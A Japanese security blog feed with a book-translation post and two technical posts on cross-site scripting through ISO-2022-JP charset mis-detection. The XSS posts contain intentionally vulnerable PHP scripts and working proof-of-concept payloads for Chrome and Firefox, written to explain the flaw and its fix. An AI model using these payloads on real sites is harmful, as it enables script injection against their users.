サイバーセキュリティ分野の非常に多くの尊敬すべき人たちが口をそろえてこう言っていました。「攻撃側はたったひとつの突破口があればいいのに対して、防御側はあらゆる攻撃に備えなければならないため不利だ」と。アタックサーフェイス(攻撃対象領域)で考えれば、この主張は本当らしく聞こえます。たくさんのサーフェイスを防衛するとなると、リソースを薄く広く分散しなければなりません。攻撃側がサーフェイス点にリソースを集中し、攻撃方法もひとつに絞ってきたなら、たしかに相手が圧倒的に有利です。

ではあるのですが、現実の局面では、攻撃よりも守備がかんたんというケースもあることと、あまりに「防御側が不利」と強調することによるセキュリティ担当者へのメンタルへの影響に本書は言及しています。


徳丸は何をしたか

私は主に以下を担当しました。

  • 訳語として日本のセキュリティ分野の一般的な用語を選択する
  • 翻訳を読んで意味の通りにくいところの訳を手直しする
  • 米国と日本で違いがある箇所(法律など)などに監訳をつける

原書は、凝った文体や、反語のようなレトリック、古典や著名な映画を踏まえた表現、韻を踏んでいる箇所などがあり、「米国のインテリはこういう文体が好きなのかなぁ」と感慨に耽っておりましたが、できるだけ日本の読者に読みやすい訳を心がけました。

その一つとして、原書の見出しは「正しいこと、望ましいこと」と「神話、都市伝説、誤解」が特に区別なく並べられています。これだと読者は混乱すると思い、編集部と相談した結果、「神話、都市伝説、誤解」に相当する見出しにはメガホンのアイコンをつけました。下図に例を示します。


本書の対象読者

本書の対象読者は、エンジニアやセキュリティ担当者だけでなく、もっと広範囲にセキュリティに関係する人たちです。本書の出版元のページでは以下のように紹介されています。
本書は、開発者、デザイナー、アナリスト、意思決定を行う人、学生など、プロ、アマを問わずサイバーセキュリティに関係する人たちに向けて書かれています。加えて、サイバーセキュリティに関わっていない人にも役立ちます。テクノロジーに依存しているなら、サイバー防衛と無縁ではいられないからです。あなたもきっと含まれるはずです。

本書の読み方と得られるもの

本書は技術書ではなく、エッセイ集のような形ですので、一つ一つの節は割合読みやすいと思いますが、神話が175件も集めてあるだけあって500ページ以上の大部となっています。いきなり通読する必要もないため、読みたいところから拾い読みのような形でも良いと思います。とはいえ、本書を読み進めることにより、ハウツー本からは得られないセキュリティの本質的な思考方法が習得できます。

これに関しては、「インターネットの父」ことヴィントン・サーフ氏が本書に前書きを寄せていますが、その中に以下の一節があります。

なかでも強力な防衛ツールに「クリティカルシンキング(懐疑的思考)」があります。この本が伝えようとしているのは、サイバー空間でのリスクに対してもっと懐疑的になる方法です。たやすく身につくものではないので、多少の訓練は必要になるでしょう。悪者は我々の人間としての弱みにつけ込んできます。悲しいかな、困っている人を助けずにはいられない私たちの善意すら狙われます。そのため、そうした人間性やポジティブな社会感情を狙った詐欺は数知れません。この本は、そんな策略を見破る方法を教えてくれます。

本書でクリティカルシンキングを身につければ、詐欺行為のみならず、ネットのセキュリティ記事に右往左往することなく、どっしりと構えつつ、本当に必要な備えは何か、自分で考えられるようになるでしょう。

ISO-2022-JPの自動判定によるクロスサイト・スクリプティング(XSS)

$
0
0

サマリ

ISO-2022-JPという文字エンコーディングの自動判定を悪用したクロスサイト・スクリプティング(XSS)攻撃について説明する。これは、文字エンコーディングを適切に指定していないウェブコンテンツに対して、文字エンコーディングをISO-2022-JPと誤認させることでバックスラッシュが円記号と解釈されることによりエスケープ処理を回避する攻撃である。本稿で紹介する攻撃は、従来からのセキュリティベストプラクティスである「文字エンコーディングの明示」に従っていれば影響を受けることはない。

はじめに

クロスサイト・スクリプティング対策として、記号文字のエスケープ処理に加えて、コンテンツの文字エンコーディングをレスポンスヘッダやmetaタグで明示しましょうと言われてきました(参照)。その背景として、UTF-7という文字エンコーディングを悪用したXSSの存在がありました。この攻撃については以下の記事を参照ください。

はせがわようすけさんの記事にもあるように、UTF-7によるXSSは、UTF-7に特徴的な文字列を注入することで、ブラウザに文字エンコーディングをUTF-7と誤認させることによるものです。
しかし、上記で「ありました」と表現している理由は、この問題がInternet Explorer(IE)限定の問題であること、IEでもかなり前に対策が進められて、現実的な攻撃は困難になっていたことによります。このため、徳丸本初版(2011年3月)でもUTF-7によるXSSは取り上げていません。
そのため、以下の記事に見られるように、「もうウェブコンテンツに文字エンコーディングが明示されていなくても脆弱性として指摘しなくてもよいのでは?」という意見も見られます。

令和になった今、Content-TypeヘッダのCharset付与によるクロスサイトスクリプティングについて考えてみる - 僕と技術とセキュリティ

ところが、今年(2024年)の7月に、SonarSourceのブログに以下の記事が投稿され、早々にCTFの作問等に応用されました。

Encoding Differentials: Why Charset Matters | Sonar

この記事ではISO-2022-JP文字エンコーディングの文字列を注入することにより、ブラウザにコンテンツの文字エンコーディングをISO-2022-JPと誤認させるテクニックです。すなわち、「文字エンコーディングを誤認させる」という点で、この記事の手法はUTF-7によるXSSの後継と考えられます。以下、上記ブログ記事のTechnique 1のパターンについて説明します。

ISO-2022-JP とはなにか

まずは、ISO-2022-JPについて説明しましょう。徳丸本2版から、ISO-2022-JPの説明を引用します。

ISO-2022-JPは7ビットの文字エンコーディングで、エスケープシーケンスという符号により文字集合(US-ASCIIとJIS X 0208)を切り替える方式です。「JISコード」と呼ばれる場合もあります。図6-15にエスケープシーケンスの例として、ISO-2022-JP符号化された「ABCと漢字!」という文字列を図示します。

 同図で、「ESC $ B」がJIS X 0208の始まり、「ESC ( B」がUS-ASCIIの始まりを示します。ISO-2022-JPは状態の切り替えを伴うため、コンピュータ上の内部処理や検索用のデータとしては適していません。歴史的な理由から、主に電子メールの伝送に用いられてきました。
 なお、「インターネットでは半角片仮名を使うな」という主張を目にする場合がありますが、これはISO-2022-JPが半角片仮名(JIS X 0201の片仮名)をサポートしないことに由来しています。
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版 P535より引用

上記には言及されていませんが、ISO-2022-JPは、US-ASCIIとJIS X 0208以外も扱えるようになっていまして、主なものとしては以下があります。表はとほほの文字コード入門から引用しました。

記号表記16進表記意味
ESC ( B1B 28 42ASCII。
ESC ( J1B 28 4AJIS X 0201(旧称 JIS C 6220)-1976 ラテン文字集合
ESC $ @1B 24 40JIS X 0208(旧称 JIS C 6226)-1978(通称:旧JIS)
ESC $ B1B 24 42JIS X 0208-1983(通称:新JIS) または JIS X 0208-1990

下の2種類はJIS X 0208の旧規格と新規格なので中身は少し違うもののセキュリティ上の違いはありませんが、問題はJIS X 0201です。これは8ビットの1バイトでASCIIと半角カナを使えるようにした文字集合です。以下、英語版のWikipediaより引用です。


https://en.wikipedia.org/wiki/JIS_X_0201より引用

この赤枠で囲った箇所がASCIIとは異なっていて、\(バックスラッシュ)の代わりに¥(円記号)、~(チルダ)の代わりに ‾ (オーバーライン)が割り当てられています。ISO-2022-JPでは、片仮名の部分は割り当てられておらず、ローマ字と記号の部分(0x00~0x7F)のみが使えます。ISO-2022-JPで半角片仮名が使えないのは、この制約によるものです。

ISO-2022-JPでは、エスケープシーケンス ESC $ J によりJIS X 0201に切り替えができますが、使えるのはローマ字部分のみで、ASCIIとの違いは\ → ¥、~ → ‾ のみなので実用上はわざわざ用意する意味がないように思える一方、これがセキュリティ上問題になります。

ISO-2022-JPによるXSSの基本的な考え方

我々に馴染み深いShift_JIS等ですと、表示上は ¥ となっていても、ブログラミング等ではバックスラッシュとして扱われますが、JIS X 0201の ¥ はあくまで円記号でありバックスラッシュではありません。このため、JavaScript等でエスケープ処理のために使ったバックスラッシュが円記号に化けてしまうと、「エスケープ処理が無効になってしまう」というセキュリティ上の問題になってしまいます。

たとえば、PHP等でJavaScriptを以下のように動的生成する箇所があったとします。

const v = "ここを動的生成する";

動的生成の箇所に "; alert(1)// を入力するXSSを防ごうとすると、以下のようにエスケープ処理するはずです。

const v = "\"; alert(1)//";

ところが、\が¥に化けると以下のようになり、XSS攻撃ができてしまいます。

const v = "¥"; alert(1)//";

日本のプログラマだと¥がバックスラッシュに見えてしまう方が多いと思いますが、上記はバックスラッシュではない円記号です。なので、文字列リテラルは “¥” だけとなり、後続の ; alert(1)//が文字列リテラルからはみ出し、実行されてしまいます(//以下はJavaScriptのコメントとなり無視されます。JavaScriptは行末のセミコロンは省略可能です)。

文字エンコーディングの自動判定

そうは言っても、文字エンコーディングがISO-2022-JPと認識されていなければ問題はありません。具体的には、レスポンスヘッダやmeta要素でcharsetが明示されている場合は、ISO-2022-JPと誤認されることはありません。問題は、適切な文字エンコーディング指定がない場合です。具体的には、以下のケースです。

  • 文字エンコーディング指定がない
  • 文字エンコーディング指定はあるが間違っている(charset=EUC_JP等)

これらのケースでは、ブラウザはテキストの中身から文字エンコーディングを「推測」します。このため、ISO-2022-JPに特徴的なエスケープシーケンスがある場合、ISO-2022-JPのコンテンツと「誤認」する場合があります。これを以下のスクリプトにより試してみましょう(実験する場合は日本語のコメントは削除してください)。

<?php
  header('Content-Type: text/html; charset=EUC_JP');  // 正しくはEUC-JP
?><body>
<?php echo htmlspecialchars($_GET['p']); ?>
<script>
  document.write("\\".codePointAt(0).toString(16)) // \のコードポイントを取得する
</script>
</body>

このスクリプトを p=%1b(J というクエリ文字列を指定して実行すると a5 と表示されます。バックスラッシュのコードポイントはU+005C、円記号のそれはU+00A5ですから、ESC ( J の指定によりJIS X 0201と解釈され、バックスラッシュが円記号に化けていることが分かります。

XSSを試す

ISO-2022-JPによるXSSの肝は、バックスラッシュが円記号に誤認されるところですから、バックスラッシュによりエスケープ処理を行っているスクリプトが脆弱性の対象になります。その具体例として、以下のPHPスクリプトを用います。

<?php
  header('Content-Type: text/html; charset=EUC_JP');
  function escapeJS($str) {  // Escape function for JavaScript String
    $replacements = [
        '\\' => '\\\\',
        '"'  => '\\"',
        "'"  => "\\'",
        "\n" => '\\n',
        "\r" => '\\r',
        "\t" => '\\t',
        '<'  => '\\u003C',
        '>'  => '\\u003E'
    ];
    return strtr($str, $replacements);
  }
?><body>
<script>
  const v = "<?php echo escapeJS($_GET['p']); ?>"
  console.log(v)
</script>
</body>

このスクリプトは、クエリー文字列 p をJavaScriptの変数 v に代入していて、その際に関数escapeJSを呼んでJavaScript文字列リテラルのエスケープ処理を行っています。小なり・大なり記号のエスケープはJavaScriptの文法上は必要ありませんが、これがないと、</script><script>alert(1)</script> のような形で、いったんscriptタグを終端するという攻撃ができるための処理です。
これに対する攻撃文字列は以下の通りです。

p=%1b(J";alert(1)//

実行結果は以下となります。

この際に生成される該当箇所を示します。まずは16進数ダンプ。

赤枠で囲った部分が ESC (J であり、JIS X 0201への切り替えのエスケープシーケンスです。
その結果、当該箇所は以下のようにデコードされます。

const v = "¥";alert(1)//"

¥はバックスラッシュではない円記号なので、直後のダブルクォート「"」で文字列リテラルが閉じられ、後続のalertが実行されていることが分かります。

コンテンツにマルチバイト文字があればどうなるか?

この攻撃は、文字エンコーディングの自動判定の結果ISO-2022-JPと判定されることが条件なので、元々コンテンツにShift_JISやEUC-JP等の日本語があれば1、ISO-2022-JPと本来の文字エンコーディングのどちらが「勝つ」かが問題になります。私の調べた範囲では、文字列を注入できる箇所(外部入力の表示など)の前にマルチバイトの文字があると、ISO-2022-JPとは判定されないようです。かと言ってUTF-8やShift_JIS、EUC-JP等と判定されるわけでもなく、windows-1252(ISO-8859-1に類似のMS独自文字エンコーディング)と判定されることが多いようです(下図)。

<head>
<title>日本語のタイトル</title>
</head>
<body>
ESC ( J 等としてもISO-2022-JPとは判定されない
</body>

一方、コンテンツが英字のみで構成されていると、ISO-2022-JPと判定させることは容易になります。
それでは、外部入力を注入できる箇所より「後に」マルチバイト文字列がある場合はどうでしょうか。下図のようなケースです。

<head>
<title>English Title</title>
</head>
<body>
<div>ここに外部入力を注入できる</div>
<div>日本語コンテンツ(Shift_JISあるいはEUC-JP)がある</div>
</body>

このようなケースでは、ISO-2022-JPの文字列を長くすることで、後ろにUTF-8等のマルチバイトの文字があっても、ISO-2022-JPと判定されることが分かりました。ただし、ブラウザにより挙動が異なります。まず、実験に用いたPHPスクリプトを以下に示します。

<?php
  function escapeJS($str) {  // Escape function for JavaScript String
    /* Same as before. Omitted. */
  }
?><body>
<?php
  echo htmlspecialchars($_GET['txt']);
?>
<script>
  const v = "<?php echo escapeJS($_GET['js']); ?>"
  console.log(v)
</script>
<!-- 雀の往来(EUC-JPコンテンツのための魔法の文字列) -->
<p>こんにちは こんにちは!!</p>
</body>

このスクリプトは2つのクエリ文字列txtとjsを取ります。txtは通常のテキスト(要素内容)としてHTMLエスケープして表示します。jsはJavaScriptエスケープしてJavaScriptの文字列リテラルとして埋め込まれます。txtの方は、元コンテンツの日本語が出現する前に置かれている必要があります。jsの方は場所はどこでも問題ありません。「雀の往来」はEUC-JP文字エンコーディングのコンテンツを文字化けしにくくする「魔法の文字列」です(参照)。「雀の往来」は実験には必要ありませんが、ノリで入れてみました。

Google Chrome

Google Chrome用の攻撃文字列は以下となります(バージョン131.0.6778.205で確認)。

http://example.jp/iso-xss-m.php?js=%1B(J";alert(1)//&txt=%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA

クエリー文字列 js は先のものと同じです。txtの方は、以下の文字列「誓A」を8個繰り返したものです。見やすくするために空白を挟んでいます。

ESC $@ @@ ESC (B A

jsの方(JavaScrpit文字列)で文字エンコーディングの誤認がさせられないか調べましたが、私が試した範囲ではできませんでした。なので、「文字エンコーディングの誤判定(txt)」と「XSS攻撃(js)」は別に指定する必要があるようです。

Firefox

Firefox用の攻撃文字列は以下です(バージョン133.03で確認)。

http://example.jp/iso-xss-m.php?js=%1B(J";alert(1)//&txt=%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA%1B$@@@%1B(BA

js側はGoogle Chromeと同じですが、txtの方は先の「誓A」を120個続けた形となっています。パーセントデコード後のバイト数は1080バイトなので、文字数制限をしているフィールドだと攻撃は難しいかもしれません。
Firefox特有の性質が2つ見つかりました。
まず、Firefoxは文字エンコーディングの自動判定する際に、コンテンツがある程度の長さがあると、レンダリングを2回行う場合があります。1回目は最初に判定した文字エンコーディングでレンダリングして、コンテンツ全体から判定した文字エンコーディングが1回目と異なる場合、もう一度レンダリングを用います。そうすると、先の「誓A」でいったんISO-2022-JPによりレンダリングした後、後続のEUC-JP等のデータも合わせて他のエンコーディング(典型的にはwindows-1252)でレンダリングし直します。これに合わせてJavaScriptも2回実行されます。
この場合、1回目のJavaScript実行の際に文字エンコーディングがISO-2022-JPと判定されているので、XSS攻撃は成功します。2回目は攻撃に失敗するのですが、1回成功すれば攻撃には十分です。
次に、Firefoxの場合だと、js側に「文字エンコーディング誤判定用の文字列」を入れても攻撃は成功します。なので、攻撃対象フィールドが1つかない場合でも攻撃できる可能性があります。

Safari

Safari(macOS 15.2上のSafari 18.2)で確認したところでは、Safariは文字エンコーディングの自動判定の結果ISO-2022-JPを選択することはないようです。明示的にISO-2022-JPを指定することはできますが、本稿で説明するISO-2022-JPの自動判定による攻撃のパターンはできないようです。

影響を受けるアプリケーション

この攻撃の影響を受ける条件は下記の両方を満たす場合です。

  • 文字エンコーディングを正しく指定していない
  • バックスラッシュによるエスケープ処理でXSS対策をしている

ただし、日本語のコンテンツだと通常title要素として日本語が記載されているわけで、その前に「外部から文字列を注入できる箇所がある」というのはレアケースかなと思います。しかし、多国語化対応されているサイトであれば、英語版のページを狙うことで攻撃成功の可能性は高まると思います。

対策

ISO-2022-JPの自動判定によるXSSの対策は以下の通りです。

  • ウェブコンテンツの文字エンコーディングを適切に行う

また、JavaScriptの動的生成は元々XSS対策が難しいので、HTML上のカスタムデータ属性に動的な値を設定して、その値をJavaScriptから読み込むという方法を推奨します。詳しくは拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 第2版」を参照ください。

まとめ

ISO-2022-JPの自動判定によるXSSについて説明しました。ウェブコンテンツの文字エンコーディングの設定漏れは脆弱性と言えるのかという意見も見られるところでしたが、やはり文字エンコーディングは適切に設定しましょう。文字エンコーディングの指定は元々必要な処理なので、「既知の攻撃手法ができなくなったから、もう対応しなくてよい」というものではありません。


  1. 文字エンコーディングを指定しない場合、UTF-8は自動判定されないようなので、Shift_JISあるいはEUC-JPを使っている場合が問題になると思います。 ↩︎

ISO-2022-JP自動判定を用いたHTMLコンテキスト破壊によるXSS

$
0
0

サマリ

ISO-2022-JPエンコーディングの誤判定を悪用したXSSの技法としてEncoding Differentials: Why Charset Matters | SonarのTechnique 2を紹介する。これは、HTMLの属性を囲むダブルクォート等をISO-2022-JPの2バイト文字と誤認させることによって引用符の効果を無効化させることによるXSSである。本稿で紹介する攻撃は、従来からのセキュリティベストプラクティスである「文字エンコーディングの明示」に従っていれば影響を受けることはない。
ここで紹介する攻撃は、はせがわようすけ氏のブログ記事ISO-2022-JPによるXSSの話 - 葉っぱ日記で紹介されている「2. 属性値やテキストノードのエスケープのバイパス」と同じ原理であり、本記事の方が条件が複雑であるが、エスケープ対象の文字に関する制約は緩やかである。

はじめに

昨年末のブログ投稿「ISO-2022-JPの自動判定によるクロスサイト・スクリプティング(XSS)」で、ISO-2022-JPの悪用により、バックスラッシュを円記号に誤認させることにより、バックスラッシュによるエスケープを無効化するXSSについて紹介しました。この攻撃は昨年(2024年)7月にSonarSourceブログで投稿された方法のTechnique 1に該当しますが、本稿では同じ記事から「Technique 2 HTMLコンテキストの破壊」を紹介したいと思います。
ISO-2022-JP文字エンコーディングそのものや、その自動判定については説明を繰り返さないため、前回のブログ記事を参照ください。

ダブルクォートを無効化できればXSS攻撃が可能になる

安全なウェブサイトの作り方私の本では、クロスサイト・スクリプティング脆弱性の必須対策として、「属性値は」ダブルクォートで囲むように要求しています。

HTMLタグを出力する場合は、その属性値を必ず「"」(ダブルクォート)で括るようにします。そして、「"」で括られた属性値に含まれる「"」を、HTMLエンティティ「&quot;」にエスケープします。
安全なウェブサイトの作り方 - 1.5 クロスサイト・スクリプティングより引用

具体例で見てみましょう。Webアプリケーションにおいて以下のようなinput要素を生成しているとします。

<input name=mail value=外部の値>

外部の値はHTMLエスケープを行って表示されているとします。エケスープされている場合でも、外部の値として以下を指定することでXSS攻撃ができます。

1 onmouseover=alert(1)

生成されるinput要素は以下となります。

<input name=mail value=1 onmouseover=alert(1)>

外部からの入力はすべてvalue属性になるはずが、空白により属性値が終わってしまい、新たなonmouseover属性(イベント)ができてしまいます。この攻撃は、属性値をダブルクォート等で囲むことで防ぐことができます。

過去の攻撃手法: Shift_JISの先行バイトによるXSS

過去に有効だった文字コードXSSとして、Shift_JISの先行バイトによりダブルクォート等を無効化するテクニックが発見されています。はせがわようすけさんの記事を参照します。

詳しくは上記記事を読んでいただくとして、外部入力として0x82等のバイト値を入力することで、属性値を囲っているダブルクォート(0x22)と合わせて1文字と認識させようというテクニックです。これは過去にIEやFirefoxで成立していましたが、これらブラウザでもかなり前から対策されていて、現在この攻撃はできません。ブラウザ側の対策は、Shift_JISの2バイト目としてはダブルクォート(0x22)やシングルクォート(0x27)に該当するバイトは出現しえないため、\x82\x22等の並びはShift_JISとしては不正な文字であることを利用していると思います。

ISO-2022-JPの自動認識によりダブルクォート等を無効化する

これに対して、SonarSourceブログで紹介されたテクニックは、引用符の前にISO-2022-JPのエスケープシーケンスによりJIS X 0208の2バイト文字の開始を指定することにより、引用符を2バイト文字と認識させる方法です。当該記事では、マークダウンをHTMLに変換するプログラムにより、img要素を生成するシナリオを用いて説明しています。
マークダウンでのimg要素の一般的な記法は以下の通りです。

![ALT文字列](https://example.jp/a.png)

これに対して、下記のHTMLが生成されます。

<img src="https://example.jp/a.png" alt="ALT文字列"/>

SonarSourceブログでは、以下のように2つの画像とその間の文字列の構成を利用しています。

![AAA](BBB) CCC ![DDD](EEE)

これは以下のように変換されます。

<img src="BBB" alt="AAA"/> CCC <img src="EEE" alt="DDD"/>

攻撃は、まずAAAの箇所に ESC$@(ESCは0x1b)を指定します。これはISO-2022-JPにおいて、日本語(JIS X 0208)の開始を意味します。すると、AAA直後の「"」以降が2バイト文字と解釈されます(下図)。

このままだと攻撃はできないので、CCCの位置にESC(Bを指定します。これはASCIIの開始を意味するため、これ以降がASCIIとして解釈されます(下図)。

上記の赤い網掛けの箇所に注目ください。alt=を閉じるダブルクォートが文字化けしたため、<img src=までが属性値として扱われ、EEEの部分は属性値からはみ出しています。ここに攻撃文字列を指定できます。なので、EEEの箇所に onerror=alert(1) を指定することでXSS攻撃ができます。

検証用PHPスクリプト

ここで、検証用のPHPスクリプトを用意しました。これは画像のみを解釈できるマークダウンパーサーです。正規表現で![xxx](yyy)を探索してimg要素に変換するだけの単純なものです。元のテキストは全てHTMLエスケープされるので、簡単にはXSSはできないはずです。

<body>
<?php
  $md = $_GET['md'];
  $html = preg_replace('/!\[(.*?)\]\((.*?)\)/', 
      '<img src="\2" alt="\1">',
      htmlspecialchars($md));
  echo $html;
?></body>

このスクリプトに以下のクエリ文字列を指定してみましょう。

md=![%1b$@](BBB)%1b(B![DDD](+onerror=alert(1))

攻撃は失敗します。生成されたHTMLソースを見てみましょう。

alert(1"となっています。これは、![]()に対して、alert(1)の右括弧が反応してしまったものです。これを避ける方法はあるでしょうか。
一つの方法はalert(1)の代わりにaler`1` を指定するものです。これはタグ付きテンプレートと呼ばれるものです。詳しくはMDNの解説を参照ください。
これにより攻撃が成功します。onerror=alert`1`の前後に空白を挟んでいます。

md=![%1b$@](BBB)%1b(B![DDD](+onerror=alert`1`+)
  ↓
<img src="BBB" alt="⊂<img src=" onerror=alert`1` " alt="DDD">

ところで、Qiitaを含む一般的なマークダウンパーサーでは、括弧の対応をきちんとチェックしてくれるようです。なので、先のPHPスクリプトを括弧の対応を見るように変更してみました。PHPのPCRE拡張正規表現を使っています。

  $html = preg_replace('/!\[(.*?)\]\((((?>[^()]+)|\((?2)\))*)\)/',
      '<img src="\2" alt="\1" />',
      htmlspecialchars($md));

これだと、onerror=alert(1) も期待通り攻撃が成功します!

対策

ISO-2022-JPの自動判定によるXSSの対策は以下の通りです。

  • ウェブコンテンツの文字エンコーディングを適切に行う

これは従来からのセキュリティベストプラクティスであり、元々セキュアなアプリケーションが、この攻撃により突然危険になるわけではありません。

まとめ

HTMLの属性を囲むダブルクォート等をISO-2022-JPの2バイト文字と誤認させることによって、引用符の効果を無効化させることによるXSSについて説明しました。この攻撃が成立するために必要な条件は複雑で、かなりわざとらしいCTFのような状況でしか再現しなさそうではありますが、それはともかくとして、ウェブコンテンツの文字エンコーディングを適切に設定することをお勧めします。

Viewing all 194 articles
Browse latest View live